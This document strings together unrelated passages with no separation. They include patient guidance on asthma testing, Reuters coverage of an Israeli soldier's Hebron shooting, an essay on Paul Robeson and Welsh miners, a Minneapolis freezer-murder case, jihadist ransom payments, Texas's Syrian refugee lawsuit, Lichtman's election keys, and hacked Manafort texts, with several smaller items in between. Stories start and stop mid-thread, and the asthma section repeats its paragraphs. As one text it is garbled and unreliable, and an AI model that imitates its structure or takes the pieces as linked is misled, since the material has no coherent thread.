An asthma diagnosis requires the presence of two components: 1) Symptoms compatible with asthma; 2) Some sort of objective measure of decreased airflow (either partial or complete) that improves spontaneously or with treatment. Without demonstrating these criteria you may have a condition that mimics asthma that also may improve symptomatically, but you will not be treating the underlying condition.
Some of the testing your doctor may do could include:
Peak Expiratory Flow Rate (PEFR): Not generally used to diagnose asthma, but your doctor may have readily available in their office. PEFR is a measurement of how much airflow you can generate from your lungs. This simple hand held device measures the amount of air that you can forcefully exhale. Your physician may have you keep a measurement record at home as part of your asthma action plan and your self-treatment is based off your personal best PEFR that will tell you how well your asthma is controlled.
Not generally used to diagnose asthma, but your doctor may have readily available in their office. PEFR is a measurement of how much airflow you can generate from your lungs. This simple hand held device measures the amount of air that you can forcefully exhale. Your physician may have you keep a measurement record at home as part of your asthma action plan and your self-treatment is based off your personal best PEFR that will tell you how well your asthma is controlled. Spirometry: A test similar to the PEFR that requires more advanced equipment and can be done in many physician's offices. This test allows your doctor to better determine the severity and cause of your airflow obstruction. Your doctor will be able to determine FEV1 and other components of lung function with this test.
A test similar to the PEFR that requires more advanced equipment and can be done in many physician's offices. This test allows your doctor to better determine the severity and cause of your airflow obstruction. Your doctor will be able to determine FEV1 and other components of lung function with this test. Bronchodilator Response: A key characteristic of asthma is the improvement of symptoms and lung function after treatment with a rescue inhaler or bronchodilator. If repeat spirometry 10-15 minutes after treating you with a bronchodilator demonstrates increases in the airflow of 10% or more, your doctor will likely consider this a positive test and assist in making a diagnosis of asthma.
In order to make an asthma diagnosis, your doctor will consider your historical information about symptoms and family, your physical exam, and the result of your objective tests to decide what treatment and plan are most appropriate for you.
Israeli Prime Minister Benjamin Netanyahu attends the weekly cabinet meeting in Jerusalem March 27, 2016. REUTERS/Abir Sultan/Pool
Video taken by Israel’s B’Tselem human rights group showed the infantryman firing on Thursday into the head of a Palestinian as he lay on the ground, still moving, in Hebron in the occupied West Bank. Minutes earlier, the Palestinian had stabbed and wounded another soldier.
The soldier has been arrested on suspicion of murder, the military said, and could become the first member of the Israeli armed forces to be charged with murder since a wave of Palestinian attacks, often met with lethal response, erupted in October.
Education Minister Naftali Bennett, who heads the far-right Jewish Home party in the coalition government, cautioned against murder charges. Israeli media said Bennett sparred with Netanyahu over the issue at Sunday’s cabinet meeting.
The Hebron incident brought to the boil a debate in Israel over whether excessive force has been used against Palestinian assailants. Palestinian leaders have accused the Israelis of routine extra-judicial killings - a charge that Israel denies.
According to Army Radio, the soldier arrived on the scene after other troops determined the Palestinian no longer posed any danger, and twice told comrades he “deserves to die”.
The infantryman’s family said he had feared the Palestinian might set off a hidden bomb. Supporters circulated an online petition demanding that he be decorated for bravery.
“I state here that this soldier is not a murderer, and that prosecution on a murder clause would be a total loss of control,” Bennett told Israel Radio in remarks echoed by other ministers, including from Netanyahu’s rightist Likud.
“Someone got confused between the bad guys and good guys .. and I intend to ensure that the soldier has a just trial and not a show trial,” Bennett said.
Netanyahu, on Thursday, responded to the shooting with measured censure, saying the soldier’s action “does not represent the values of the IDF (Israel Defence Forces)”.
He sounded even more circumspect on Sunday.
“IDF troops, our children, adhere to high moral standards as they bravely fight blood-thirsty murderers in tough operational circumstances,” he told his cabinet in broadcast remarks. “I am certain that in any event, including the current incident, the inquiry takes all of the conditions into account.”
The past six months has seen the worst period of sustained violence in the West Bank, Jerusalem and the Israeli interior since the second Palestinian uprising ended a decade ago.
Palestinians have killed 28 Israelis and two U.S. citizens in knife, car-ramming or gun assaults. At least 190 Palestinians, 129 of whom it says were assailants, have been killed by Israeli forces. Many others were shot during clashes and protests.
Israeli Prime Minister Benjamin Netanyahu (C) attends the weekly cabinet meeting in Jerusalem March 27, 2016. REUTERS/Abir Sultan/Pool
Israel has stepped up training meant to keep troops’ shooting accurate and restrained - including at nine hi-tech ranges where they respond with laser-firing rifles to simulated Palestinian attacks on an interactive screen.
“The first time the soldiers try it out, 30 percent fail - either by freezing up, or through improper shooting of bystanders or of terrorists who no longer pose a threat,” Nadav Sheetrit, who runs the Bagira Systems Ltd simulator at Camp Tsur infantry training base, told a visiting Reuters reporter.
Al-Farouq Aminu is not with the team and his status for Rio is doubtful due to insurance issue. — Nigeria Basketball (@NigeriaBasket) July 31, 2016
Aminu states he will not participate "due to continued and unresolved organizational challenges with the Nigerian Basketball Federation" — Casey Holdahl (@CHold) August 1, 2016
Here's why I got taken: I received an emailed press release reporting that the supposed McCain adviser had apologized for his comments about the casino. You're welcome to disagree with me, but I had no reason to believe that someone would invent a persona, a blog, a foreign policy institution, a video with a fake Iraqi television station, a press release, and an organization or email entity to send out said press release.
The fresh plunge came as Bank of Ireland announced that its chief executive Brian Goggin would retire this summer.
Shares in AIB closed down almost 60% to 60 cent. Bank of Ireland ended down 55% at 34 cent. Both of these were new low points. Irish Life & Permanent also fell 50% to €1.10.
Today's falls come in the wake of market suggestions that Bank of Ireland and AIB look unlikely to be able to raise extra cash from private investors to top up a proposed state investment in the banks.
They also came as banking shares across Europe also fell sharply after Britain launched a second bank rescue plan and Royal Bank of Scotland signalled the biggest loss in UK corporate history.
Meanwhile, a Bank of Ireland statement said its board of directors had started the process of looking for a new chief executive. It said the search would include internal and external candidates.
Mr Goggin, 56, has been chief executive since June 2004 and has been with Bank of Ireland for 40 years. In a statement, Mr Goggin said the most recent period had been difficult, but said the Government's decision to support the bank's recapitalisation 'provides a basis on which the future of the bank can be built'.
Paul Robeson possessed one of the most beautiful voices of the 20th century. He was an acclaimed stage actor. He could sing in more than 20 different languages; he held a law degree; he won prizes for oratory. He was widely acknowledged as the greatest American footballer of his generation. But he was also a political activist, who, in the 1930s and 1940s, exerted an influence comparable to Martin Luther King and Malcolm X in a later era.
The son of an escaped slave, Robeson built his career despite the segregation of the Jim Crow laws – basically, an American apartheid system that controlled every aspect of African American life. He came to London with his wife Eslanda – known as Essie – partly to escape the crushing racism of his homeland. Yet later in life he always insisted that he became a radical as much because of his experiences in Britain as in America. In particular, he developed a deep bond with the labour movement – particularly with the miners of Wales. That was why, in 2016, I travelled from my home in Australia to visit the landscape that shaped Robeson’s politics.
Pontypridd was a village carved out of stone. Grey terraced cottages, grey cobbled streets, and an ancient grey bridge arching across the River Taff.
The sky was slate, too, a stark contrast with the surrounding hills, which were streaked with seasonal russet, teal and laurel.
I was accustomed to towns that sprawled, as white settlers stretched themselves out to occupy a newly colonised land. Pontypridd, I realised, huddled. Its pubs and churches and old-fashioned stores were clutched tightly in the valley, in a cosy snugness that left me feeling a long way from home. I’d come here to see Beverley Humphreys, a singer and the host of Beverley’s World of Music on BBC Wales.
“I have a strong feeling that we might meet in October!” she’d written, when I’d emailed her about the Paul Robeson exhibition she was organising. “I know from personal experience that once you start delving into Paul Robeson’s life, he just won’t leave you alone.”
In that correspondence, she’d described Pontypridd as the ideal place to grasp Paul’s rich relationship with Wales and its people. I knew that, in the winter of 1929, Paul had been returning from a matinee performance of Show Boat [in London] when he heard male voices wafting from the street. He stopped, startled by the perfect harmonisation and then by the realisation that the singers, when they came into view, were working men, carrying protest banners as they sang.
By accident, he’d encountered a party of Welsh miners from the Rhondda valley. They were stragglers from the great working-class army routed during what the poet Idris Davies called the “summer of soups and speeches” – the general strike of 1926. Blacklisted by their employers after the unions’ defeat, they had walked all the way to London searching for ways to feed their families. By then, Robeson’s stardom and wealth were sufficient to insulate him from the immiseration facing many British workers, as the industrialised world sank into the economic downturn known as the Great Depression.
Facebook Twitter Pinterest Singing with a choir in a scene from The Proud Valley. Photograph: Hulton Archive/Getty Images
Yet he remembered his father’s dependence on charity, and he was temperamentally sympathetic to the underdog. Without hesitation, he joined the march.
Some 50 years later, [his son] Pauli Robeson visited the Talygarn Miners’ Rehabilitation Centre and met an elderly man who’d been present on that day in 1929. The old miner talked of how stunned the marchers had been when Robeson attached himself to their procession: a huge African American stranger in formal attire incongruous next to the half-starved Welshmen in their rough-hewn clothes and mining boots.
But Robeson had a talent for friendship, and the men were grateful for his support. He had remained with the protest until they stopped outside a city building, and then he leaped on to the stone steps to sing Ol’ Man River and a selection of spirituals chosen to entertain his new comrades but also because sorrow songs, with their blend of pain and hope, expressed emotions that he thought desperate men far from home might be feeling.
Afterwards, he gave a donation so the miners could ride the train back to Wales, in a carriage crammed with clothing and food.
That was how it began. Before the year was out, he’d contributed the proceeds of a concert to the Welsh miners’ relief fund; on his subsequent tour, he sang for the men and their families in Cardiff, Neath, and Aberdare, and visited the Talygarn miners’ rest home in Pontyclun.
From then on, his ties with Wales only grew.
Robeson remained [living] in Buckingham Street, London. He and Essie maintained a public profile as a celebrity couple, still mixing easily with polite society and the intelligentsia. But Robeson was now aware of the labour movement, and began to pay attention to its victories and defeats. His frequent visits to mining towns in Wales were part of that newfound political orientation.
“You can see why he’s remembered around here,” Humphreys said. “He was so famous when he made those connections, and the Welsh mining community was so very cowed. In the wake of the general strike, people felt pretty hopeless.”
A Robeson exhibition opened in Pontypridd in October 2015 and was an echo of a much grander presentation from 2001, which Humphreys had assembled with Hywel Francis, then Labour MP for Aberavon, and Paul Robeson Jr [Robeson’s son died in 2014]. It was first shown at the National Museum in Cardiff and then toured the country.
Staging that event had been a revelation for Humphreys. She’d known that memories of Robeson ran deep in Wales, but she’d still been astonished by the response. Every day of the exhibit, people shared their recollections, speaking with a hushed fervour about encounters with Paul that had stayed with them for ever.
Facebook Twitter Pinterest Robeson at Waterloo Station in London in 1935. Photograph: Topical Press Agency/Getty Images
Paul’s interactions with Wales were shaped by the violence of mining life: the everyday hardship of long hours and low wages, but also the sudden spectacular catastrophes that decimated communities. In 1934, he’d been performing in Caernarfon when news arrived of a disaster in the Gresford colliery. The mine there had caught fire, creating an inferno so intense that most of the 266 men who died underground, in darkness and smoke, were never brought to the surface for burial. At once, Robeson offered his fees for the Caernarfon concert to the fund established for the orphans and children of the dead – an important donation materially, but far more meaningful as a moral and political gesture.
That was part, Humphreys said, of why Wales remembered him. He was by then among the most famous stars of the day, the recording artist whose songs many hummed, and yet he was showing an impoverished and struggling community – people who felt themselves isolated and abandoned — that he cared deeply about them.
And the continuing affection for Robeson was more than a recollection of generosity. “The Welsh sensed the relationship was reciprocal, said Humphreys. “That he was deriving something from their friendships, from seeing how people in the mining communities supported one another and cared for one another. He later said he learned more from the white working class in Wales than from anyone.”.
Certainly, Robeson discovered Wales – and the British working class in general – at just the right time. He’d signed up, with great hopes, for a film version of [Eugene O’Neill’s play] The Emperor Jones in 1933 – the first commercial film with a black man in the lead. But the process played out according to a familiar and dispiriting pattern. Robeson’s contract stipulated that, during his return to America, he wouldn’t be asked to film in Jim Crow states. Star or not, it was impossible to be shielded from institutional racism. At the end of his stay, as he arrived at a swanky New York function, he was directed to the servants’ entrance rather than the elevator. One witness said he had to be dissuaded from punching out the doorman, in a manifestation of anger he’d never have revealed in the past.
The Emperor Jones itself was still very much shaped by conservative sensibilities: among other humiliations, the studio darkened the skin of his co-star, lest audiences thought Robeson was kissing a white woman. Not surprisingly, while white critics loved the film and Robeson’s performance, he was again attacked in the African American press for presenting a demeaning stereotype.
A few years earlier, he might have found refuge in London from the impossible dilemmas confronting a black artist in America. But he’d learned to see respectable England as disconcertingly similar, albeit with its prejudices expressed through nicely graduated hierarchies of social class. To friends, he spoke of his dismay at how the British upper orders related to those below them. He was ready, both intellectually and emotionally, for the encounter with the Welsh labour movement.
“There was just something,” Humphreys said, “that drew Welsh people and Paul Robeson together. I think it was like a love affair, in a way.” And that seemed entirely right.
Facebook Twitter Pinterest In the 1940 film The Proud Valley, about a Welsh community that takes in a black unemployed seaman. Photograph: Getty Images
The next morning, Humphreys and I walked down the hill, beneath a sky that warned constantly of rain. We made our way to St David’s Uniting Church on Gelliwastad Road. From the outside, it seemed like a typically stern embodiment of Victorian religiosity: a grey, rather grim legacy of the 1880s.
Inside, though, the traditional church interior – the pews, the pulpit, the altar – was supplemented by a huge banner from the Abercrave lodge of the National Union of Mineworkers, hanging just below the stained-glass windows. Workers of the world unite for peace and socialism, it proclaimed, with an image of a black miner holding a lamp out to his white comrade in front of a globe of the world.
The walls held huge photos of Paul Robeson: in his football helmet on the field at Rutgers [University]; on a concert stage, his mouth open in song; marching on a picket line. These were the displays extracted from the 2001 exhibition.
We chatted with parishioners, who were taking turns to keep the Robeson display open during the day for black history month.
The service itself reminded me of my morning in the Witherspoon Street church, except that, while in Princeton [where Robeson was born] I’d marvelled at the worshippers’ command of the black vocal tradition, here I was confronted by the harmonic power of Welsh choristers: the old hymns voiced in a great wall of sound resonating and reverberating throughout the interior.
Robeson, of course, had made that comparison many times. Both the Wesleyan chapels of the Welsh miners and the churches in which he’d worshipped with his father were, he said, places where a weary and oppressed people drew succour from prayer and song.
His movie The Proud Valley (released as The Tunnel in the US), which had brought him to Pontypridd in 1939, rested on precisely that conceit. In the film (the only one of his movies in which he took much pride), Robeson played David Goliath, an unemployed seaman who wanders into the Welsh valley and is embraced by the miners when the choir leader hears him sing.
Throughout the 1930s, the analogy between African Americans and workers in Britain (and especially Wales) helped reorient Robeson, both aesthetically and politically, after his disillusionment with the English establishment.
His contact with working-class communities in Britain provided him with an important reassurance. He told his friend Marie Seton about a letter he received from a cotton-spinner during one of his tours. “This man said he understood my singing, for while my father was working as a slave, his own father was working as a wage slave in the mills of Manchester.”
That was in northern England, but he experienced a similar commonality everywhere, and it pleased and intrigued him. If the slave songs of the US were worth celebrating, what about the music emerging from other oppressed communities? What connections might the exploration of distinctive cultural traditions forge between different peoples?
Significantly, it was in Wales where Robeson first articulated this new perspective. In 1934, he gave a concert in Wrexham, in north Wales, between the Welsh mountains and the lower Dee valley alongside the border with England. Yet again it was a charity performance, staged at the Majestic Cinema for the benefit of the St John Ambulance Association.
During the visit, Robeson was interviewed by the local paper, and he told the writer he was no longer wedded to a classical repertoire. He’d come to regard himself as a folk singer, devoted to what he called “the eternal music of common humanity”. To that end, he was studying languages, working his way haphazardly through Russian, German, French, Dutch, Hungarian, Turkish, Hebrew, and sundry other tongues so as to perform the songs of different cultures in the tongues in which they had been written. He had become, he said, a singer for the people.
Facebook Twitter Pinterest Movie star: Robeson, right, with Sir Cedric Hardwicke in the 1937 film King Solomon’s Mines. Photograph: Ronald Grant Archive
The confidence of that statement reflected another lesson drawn primarily from Wales. In African American life, the black church had mattered so much because religion provided almost the only institutional stability for people buffeted by racial oppression. In particular, because Jim Crow segregated the workplace, black communities struggled to form and maintain trade unions. Wales, though, was different. The miners found consolation in religion, with every village dotted with chapels. But they believed just as fervently in trade unionism.
The Gresford disaster showed why. In an industry such as mining, you relied on your workmates – both to get the job done safely and to stand up for your rights. The battle was necessarily collective. A single miner possessed no power at all; the miners as a whole, however, could shut down the entire nation, as they’d demonstrated in 1926.
In particular, the cooperation mandated by modern industry might, at least in theory, break down the prejudices that divided workers – even, perhaps, the stigma attached to race. That was the point Robeson dramatised in The Proud Valley, a film in which the solidarity of the workplace overcomes the miners’ suspicion about a dark-skinned stranger. “Aren’t we all black down that pit?” asks one of the men.
“It’s from the miners in Wales,” Robeson explained, “[that] I first understood the struggle of Negro and white together.”
“To understand Paul’s relationship with Wales,” Humphreys told me the following day, “you need to understand Tiger Bay.”
She introduced me to Lesley Clarke and to Harry Ernest and his son Ian. The three of them came from Tiger Bay, the centre of Wales’s black community. They’d worked on the original exhibition in Cardiff, after Humphreys had insisted that the National Gallery employ black guides, and now they’d come to Pontypridd to witness the new display.
At 82, Lesley Clarke was thin but sprightly and alert. She spoke slowly and carefully. “I hadn’t realised there was a colour bar until I left Tiger Bay. When I went to grammar school, I realised for the first time that there were people who just didn’t like coloured people. Didn’t know anything about us, but didn’t like us. I didn’t know I was poor and I didn’t know I was black: all I knew was that I was me.”
Tiger Bay was forged by some of the worst racial attacks in British history. In June 1919, returning soldiers encountered a group of black men walking with white women. Outraged, the troops, led by colonials (mostly Australians), rampaged throughout Butetown, attacking people of colour, destroying houses, and leaving four dead.
For Clarke and Ernest’s generation, the colour bar was very real, especially in employment. Ernest was impish and bald, and his eyes crinkled as he spoke, almost as if he took a perverse humour in the recollection. “We’d ask if a job was open,” he said, “and soon as they said yes, we’d say, ‘Can I come for an interview right now?’ To narrow the gap, because the minute you got there they would say, ‘Oh, the job is gone.’”
“The minute they saw you were black, that was it,” said Clarke. “You just took it for granted that it was going to happen. There were very few outlets, especially for girls. You either worked in the brush factory or you worked in Ziggy’s, selling rags and whatnot, or there was a place just over the bridge that did uniforms.”
“I worked in the brush factory for a while,” Ernest said. “Oh, Jesus!”
He shook his head and laughed in dismay. “Jesus.”
Facebook Twitter Pinterest Addressing the National Eisteddfod of Wales, Ebbw Vale, 1958.
Robeson had reached out to the Welsh miners when his career was at its height. They came back to him at his lowest ebb, almost two decades later, at a time when all he’d achieved seemed to have been taken from him. In the midst of the cold war, the FBI prevented Robeson from performing at home. [He’d proclaimed his sympathy for the Soviet Union ever since the mid-30s. That leftism now made him a target. He became, in Pete Seeger’s words, “the most blacklisted performer in America”, effectively silenced in his home country,] Worse still, the US state department confiscated his passport, so he could not travel abroad. He was left in a kind of limbo: silenced, isolated, and increasingly despairing.
On 5 October 1957, the Porthcawl Grand Pavilion filled with perhaps 5,000 people for the miners’ eisteddfod. Will Painter, the union leader, took to the microphone. After welcoming the delegates, he announced that they would soon hear from Paul Robeson, who’d be joining them via a transatlantic telephone line.
When Painter spoke again, he was addressing Robeson directly. “We are happy that it has been possible for us to arrange that you speak and sing to us today,” he said. “We would be far happier if you were with us in person.”
Miraculously, Robeson’s deep voice crackled out of the speakers in response. “My warmest greetings to the people of my beloved Wales, and a special hello to the miners of south Wales at your great festival. It is a privilege to be participating in this historic festival.”
He was seated in a studio in New York. Down the telephone line, he performed a selection of his songs, dedicating them to their joint struggle for what he called “a world where we can live abundant and dignified lives”.
The musical reply came from the mighty Treorchy Male Choir, the winners of that year’s eisteddfod, and a group that traces its history back to 1883. Robeson joined the choir in a performance of the Welsh national anthem, Land of My Fathers, before the entire audience – all 5,000 of them – serenaded him with We’ll Keep a Welcome. “This land you knew will still be singing,” they chorused. “When you come home again to Wales.”
Hennepin County Attorney Mike Freeman said Monday that jailed murder defendant Jetaun Helen Wheeler had her children “in hiding” and that police are trying to find them to make sure they are safe.
“We don’t know what these children went through,” Freeman said. He said his office believed the children are ages 10, 8 and 7.
Officials have had concerns about the children before. In October, Wheeler allegedly told a worker at a church-run organization that she planned to leave her kids at a hospital because she “wanted to give all of this up” and they’d be better off without her, according to a misdemeanor complaint filed in February.
She had entered a not-guilty plea in that case Wednesday morning. Later that day, police following up in the missing-person case searched her home, found a man’s body wedged in a new chest freezer in her garage, and arrested her on suspicion of killing him.
Wheeler, 29, was charged Monday with second-degree murder in the bludgeoning death of her 58-year-old boyfriend. She is to make her first appearance before a judge Tuesday.
She is being held in the Hennepin County Jail; her bail is $2 million.
Prosecutors have not named the victim; friends and family told investigators that they had last heard from him July 31 and that he’d planned to be back in Chicago by Aug. 1.
In that conversation, the man allegedly told a friend he was having domestic trouble with Wheeler.
“He said that the defendant had assaulted him the week before leaving scratches and that she was crazy,” the friend told police, according to a criminal complaint written by Assistant Hennepin County Attorney Judith Hawley.
Police had gone to Wheeler’s residence Aug. 13 to look for the man, but the woman claimed she had dropped him off at a bus terminal Aug. 3 and that was the last she’d seen or heard of him.
When investigators canvassed the neighborhood, they found a man who said he’d seen the victim and Wheeler two weeks earlier and they were in the midst of “a loud argument.”
“He could not make out what they were saying but they were yelling at each other,” Hawley wrote of the witness.
Police got enough probable cause to convince a judge to issue a search warrant, and they returned to the home on Wednesday. Their first grim discovery was under Wheeler’s mattress: a piece of rolled-up carpeting that appeared to be soaked with blood.
Investigators were also suspicious about what they didn’t find — there were no items of men’s clothing in the home, even though the man had lived with Wheeler for some weeks. Nor could they find any of his personal belongings, Hawley wrote.
Police noticed what they thought was blood spatter and made their way to the garage.
“Behind two mattresses they found what appeared to be a brand new freezer,” the complaint said. “An old box of Christmas decorations was on top of the freezer. Investigators opened the freezer and observed the body of an adult male.”
The victim had been wrapped in plastic, secured with duct tape and frozen, the complaint said.
When forensic pathologists with the Hennepin County Medical Examiner studied the body, they found the victim had “blunt force trauma injuries to his face and head including significant lacerations to his left eye and the left side of the head,” Hawley wrote.
He also had bruises on both upper arms, as well as what appeared to be defensive wounds on the back of his hands as he tried to protect himself.
After the autopsy, police searched the home again and found a broken closet rod on a closet floor. “It was broken in two and tested positive for the presence of blood,” the complaint said.
The medical examiner concluded the death was a homicide, but is awaiting results of toxicology and microscopic exams before determining cause of death. The complaint said the delay stemmed from “the complex nature of his injuries and the difficulties associated with the rapid decomposition of a frozen body.”
Wheeler had bought the freezer Aug. 5, police discovered.
“We don’t know whether she purchased the freezer in anticipation of killing him or after his death,” Freeman said.
He said the victim “had been there awhile.”
The second-degree murder charge accuses Wheeler of intentionally causing the man’s death, but not acting with premeditation. A conviction on the charge can carry a sentence of 40 years in prison.
Wheeler was taken into custody Thursday, and Freeman said officials are trying to find her children.
The welfare of her children has been a matter of legal concern in the past. She is scheduled for trial in December on a gross misdemeanor charge of obstructing the legal process in a case in which she allegedly told someone she was going to drop her kids off at a hospital because they’d be better off without her.
A criminal complaint filed Feb. 27 claims Wheeler told a worker at a church-run foundation that helps needy families “that she was going to drop her kids off at the hospital because she ‘wanted to give all of this up.’ ” When the worker checked the children’s school, she found they hadn’t shown up that day.
Police went to her Shorewood home to check on the children, but Wheeler would not let them in, the complaint said.
When the officers told her they wanted to speak to the children to make sure they were OK, “Wheeler stated she would not allow the police in the house,” the complaint said. A police sergeant told her the officers weren’t leaving until they could see the children.
The sergeant tried to take her house keys so he could go inside, and the woman “began screaming that the police were abusing her and refused to cooperate,” the complaint said.
When officers told her she was under arrest, she allegedly kicked them.
She has a Dec. 30 trial date in that case.
He drives five to six more hours until he reaches the new address in the sand and waits for the next text, containing another set of coordinates. The process is repeated a minimum of three times before the jihadists finally show themselves.
The money is counted on a blanket on which the fighters sit cross-legged, their guns at their sides, the official said. The millions are then divided into stashes, wrapped in plastic and buried in holes hundreds of miles apart, a detail he was able to glean after repeated meetings with the terrorist cell. They mark the location on their GPS, keeping track of it just as they track their buried cars and fuel drums.
The money is written off by European governments as an aid payment, or else delivered through intermediaries, like the French nuclear giant Areva, a state-controlled company that a senior negotiator said paid €12.5 million in 2011 and €30 million in 2013 to free five French citizens. (A spokesman for Areva denied in an email that a ransom had been paid.)
In Yemen, the intermediaries are Oman and Qatar, which pay the ransoms on behalf of European governments, including more than $20 million for two groups of hostages released in the past year, according to European and Yemeni officials.
Almost a year into her captivity in 2012, Mariasandra Mariani thought she could not take it anymore. Her captors were holding her in a landscape of black granite in northern Mali, which amplified the suffocating heat. When the wind blew, it felt as if someone were holding a blow dryer inches from her skin. She spent all day next to a bucket of water, sponging herself to try to keep cool.
She told her guard that her modest family, which grows olives in the hills above Florence, did not have the money, and that her government refused to pay ransoms. Her captor reassured her.
The PS Vita 3G/Wi-Fi model sold in selected countries will come with a Vodafone SIM card so that users can immediately enjoy social gaming experiences on the go. Customers will also be able to buy PS Vita 3G/Wi-Fi model direct from Vodafone channels, both online and in store. In addition, customers connecting with Vodafone will receive a PlayStation Network voucher to download WipEout 2048 from PlayStation Store.
“With social gaming and connectivity at the heart of PlayStation Vita it is important that we partner with a market leading network provider, to ensure users have a high quality 3G experience.” said Jim Ryan, President & CEO of Sony Computer Entertainment Europe. “Partnering with Vodafone will enable PS Vita users in the selected countries to always be connected with their PlayStation life, friends and games, wherever they are.”
“We want our customers to have the best choice of devices and PlayStation Vita is a great addition to our range,” said Patrick Chomet, Vodafone’s Group Terminals Director. “We know from our application downloads that games are hugely popular with our customers, so we’re delighted to be SCEE’s preferred connectivity partner for 3G Vita devices sold across Europe and other selected regional markets. Using the device over Vodafone’s high-performance network with extensive 3G reach and market leading download speeds brings a reliable ‘anywhere anytime’ dimension to gaming.”
Supernatural vets Rob Benedict and Richard Speight Jr. have turned their fandom adventures into a hilarious single-camera comedy, Kings of Con.
The duo plays caricatures of themselves on the series, which mixes scripted comedy and improv. Speight Jr. plays Rich, a multiple divorcé and former actor who gets his kicks from fans who still think he matters, and Benedict is Rob, a recent divorcé who returns to the con circuit to cover the costs of his failed marriage. Supernatural fans will also surely love the show, which will feature cameos from other cast members from the long-running CW drama.
On the set: Go behind-the-scenes of Supernatural
Speight Jr. and Benedict shot the scenes for the show while on a real-life convention tour, but they aren't quite done yet. And that's where the fans come in.
In order to get a full season made, Speight Jr. and Benedict have launched an Indiegogo campaign to raise money. In a little over a week, Kings of Coneasily surpassed the original goal for $100,000, ensuring that three episodes will be released. However, if they manage to raise $300,000 by May 10, they'll be able to produce a full season.
The state of Texas in December sued the federal government and the International Rescue Committee, a nonprofit that helps resettle refugees, in an attempt to keep Syrian refugees from moving to the state. Texas argued that the federal government had not provided enough information about the refugees and said that the refugees pose security concerns.
A federal judge in December denied a temporary restraining order requested by the state to block a Syrian refugee family set to arrive in Texas. The judge wrote that the evidence provided by the state claiming that the refugees were potentially dangerous was based on “largely speculative hearsay.”
In its Tuesday opposition to Texas’ request for an injunction, the Justice Department mentioned the judge’s decision while arguing that Syrian refugees do not pose a substantial threat to the state of Texas.
“Plaintiff has not demonstrated that Syrian refugees whom the Federal Government may resettle in Texas while this case is pending pose any danger, much less an imminent one, to Texas residents or any Americans. Plaintiff’s assertions of harm are based on inadmissible hearsay and are at best speculative, this court has already found,” the opposition reads. “That conclusion alone is fatal to Plaintiff’s request for preliminary relief.”
“Plaintiff certainly has presented no evidence that the Syrian refugees who will be resettled in Texas during the pendency of this lawsuit pose a danger to anyone anywhere,” the Justice Department adds later in the opposition.
The Justice Department also argues that while the Texas government has asked the federal government for specific information about refugees, the Refugee Act only requires the federal government to regularly consult with states about refugee resettlement.
“It does not create an enforceable legal obligation to provide a State with information about individual refugees so the State may play an independent role in determining who can be resettled there,” the opposition reads.
Experts agree that the law does not make clear that the federal government is must share specific information with the states.
Before the evening was out, Allan Lichtman, the historian, and Vladimir Keilis-Borok, the geophysicist, started on a collaboration that would eventually draw the attention of presidents and politicians who would be president. The two researchers figured out that the science of forecasting earthquakes offered an important insight into presidential elections.
While people who study elections usually scrutinize individual voters, politicians, advocacy groups, issues, campaign contributors and volunteers, Keilis-Borok and Lichtman decided to think about an election the same way geophysicists regard earthquakes. Getting too close to the phenomenon -- the views of individual voters and campaigners -- is like trying to study an earthquake by analyzing every single molecule of rock and soil.
"The systems that generate elections and earthquakes are complex systems," said Keilis-Borok, who is now a professor of earth sciences at the University of California at Los Angeles. "They are not predictable by simple equations, but after coarse-graining -- averaging -- they become predictable."
Lichtman and Keilis-Borok analyzed every presidential election between 1860 and 1980. Rather than study how politicians waged campaigns, and what the specific issues were in each election, the researchers stepped back to look for general markers, such as whether the party incumbent in the White House had gained or lost seats in the previous midterm election, and whether the incumbent party had achieved a monumental policy victory.
"We reconceptualized presidential politics in geophysical terms," said Lichtman, who teaches at American University. "We didn't look at it as Reagan versus Carter or Republicans versus Democrats or liberals versus conservatives. Rather, we looked at elections as stability versus upheavals."
Stability, according to their definition, is when the party that is incumbent in the White House -- in this case, the Republican Party -- wins the next presidential election. Upheavals are when the opposition party wins elections.
The researchers found that four markers or "keys" correctly predicted every presidential election over 120 years. These keys were whether the incumbent party's candidate won the presidential nomination on the first ballot with at least two-thirds of the delegate count, the absence of a third-party candidate who won 5 percent or more of the overall vote, the absence of a recession, and the presence of a major policy victory in the previous term. (See keys 2, 4, 5 and 7 in the accompanying graphic.)
Given that they wanted to play it safe, Keilis-Borok and Lichtman selected nine other keys that increased the confidence with which they could have predicted all the elections between 1860 and 1980.
Since they devised the system in 1981, Lichtman said, the duo have published predictions for six presidential elections, and the system has correctly predicted every winner of the popular vote. (Because the keys are based on questions of national mood and import, Lichtman said, he cannot predict the outcome of the electoral college. In 2000, Lichtman predicted Al Gore would win. Gore did win the popular vote, but he lost in the electoral college after the Supreme Court declared George W. Bush the winner of the disputed Florida vote count.)
The intriguing thing about the keys is that they seem to portend the direction of a presidential election well before the campaign begins. In 1991, for example, at the height of George H.W. Bush's popularity, Lichtman predicted the White House would change hands in 1992 -- he even fielded a call about this from the office of an obscure Arkansas governor named Bill Clinton, who wanted to know whether Bush could be beaten.
In 1983, Lichtman was summoned to the White House and asked by Lee Atwater, President Ronald Reagan's political director, whether the Republicans could keep the White House if they ran a candidate other than Reagan. Lichtman told Atwater they would win in 1984 with Reagan but lose without him -- an incumbent president running for reelection and a charismatic candidate are two keys.
In 2004, as many Democrats told themselves that there was no way Sen. John F. Kerry could lose to George W. Bush, Lichtman said his keys foretold a Republican victory.
Paul Manafort was apparently the target of a possible Russian blackmail attempt when he served as Donald Trump’s campaign chairman.
The undated messages — which have been hacked and then recently circulated by a hacktivist collective — were sent to an iPhone belonging to Manafort’s daughter in an attempt to reach her father, reported Politico.
One text message appears to have come from a Ukrainian parliamentarian named Serhiy Leshchenko, who claimed to have “bulletproof” evidence of a financial arrangement between Manafort and Ukraine’s former pro-Russian president Viktor Yanukovych.
Leschenko is a former investigative journalist who is known as an anti-corruption crusader.
The message also claimed to have strong evidence that Trump met in 2012 with Serhiy Tulub, a close associate of the Ukrainian strongman Yanukovych.
“Considering all the facts and evidence that are in my possession, and before possible decision whether to pass this to [the National Anti-Corruption Bureau of Ukraine] or FBI I would like to get your opinion on this and maybe your way to work things out that will persuade me to do otherwise,” the message reads.
The message urges Manafort to reply using an email address that reporters have used to communicate with Leschenko, according to Politico.
Manafort, who joined the Trump campaign in March and left in August due to his ties to Yanukovych, confirmed the authenticity of the texts that had been hacked from his daughter’s phone.
He told Politico that he had received similar texts to his own phone, from the same address, before his daughter had gotten any.
Manafort said the messages began arriving shortly before the New York Times reported that the National Anti-Corruption Bureau of Ukraine had obtained documents allegedly showing $12.7 million in cash payments intended for Trump’s then-campaign chairman.
